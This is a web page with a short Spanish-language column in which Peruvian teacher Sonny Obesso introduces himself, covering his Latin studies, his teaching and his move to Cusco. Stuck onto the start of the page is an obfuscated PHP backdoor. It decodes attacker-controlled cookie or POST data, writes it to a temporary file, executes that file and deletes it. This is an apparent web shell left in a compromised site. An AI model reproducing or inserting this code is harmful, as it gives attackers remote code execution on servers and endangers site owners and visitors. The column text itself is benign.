$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> “Odiosus ego” – www.interferencechannel.com

“Odiosus ego”

Sonny Obesso

Sonny Obesso

Me llamo Sonny y soy peruano. Desde este año, 2014, radico en Cusco (Perú), capital del Tahuantinsuyo en época de los Incas. Durante mucho tiempo viví en Trujillo, ciudad que me vio nacer hace 37 años. Sirva esta primera columna a modo de presentación simplemente, y, en lo sucesivo, como “burda” biografía para muchos.

Hace años que me desempeño como profesor de lengua y literatura española en universidades de mi país. Me siento muy bien de ejercer esta función, y no me va mal afortunadamente. Sin embargo, debo admitir el conflicto vocacional que padezco, y que me subleva ante mi “simple” condición de maestro: Nada tiene que ver, por cierto, con el discurso común de frustración de los maestros, sino con mi propia razón de ser en este mundo.

De hecho, hago algunas cosas para “paliar” tal situación. Por ejemplo, acabo de concluir un viaje de estudios a Bogotá (Colombia), donde hice filosofía y latín en la Pontificia Universidad Javeriana y en el Instituto Caro y Cuervo, respectivamente. Antes, por supuesto, también hice cursos de latín y de lingüística en Lima, capital del Perú.

No solo eso. También he dictado latín en la Universidad Nacional de Trujillo y he sido convocado por el Seminario Mayor “San Carlos y San Marcelo” (Arquidiócesis de Trujillo) como profesor de latín, este año. Las publicaciones que he hecho se limitan a artículos de divulgación de temática filológica, entre otras.

Pienso que las continuas “evasiones” hechas a mi profesión, ya sea en mi país o en el extranjero— desde hace ya varios años—, han enriquecido notablemente mi vocación.

Por último, ahora mismo realizo una investigación etnográfica sobre el quechua de Cusco, y aprendo la lengua de Manco Inca. Me tomará un año mínimamente. Sigo ejerciendo la docencia, pero siempre encuentro un motivo para no abusar de ella.

Así mismo, tengo especial gusto por la filosofía y la historia, aunque demasiada dispersión como para “sistematizar” mis conocimientos. Alguno que otro acierto alguna vez. Pero, por sobre todo, mi propia y egoísta ansiedad de consumo.

No hay duda que mi “avión de papel” me llevará a otros encuentros con el conocimiento y la cultura —encuentros conmigo mismo, al fin y al cabo. Cusco, ciudad en la que ahora vivo, es un digno ejemplo de ello. Espero no caerme simplemente.

Después de todo, prefiero morir en el intento.♦

Comments are closed.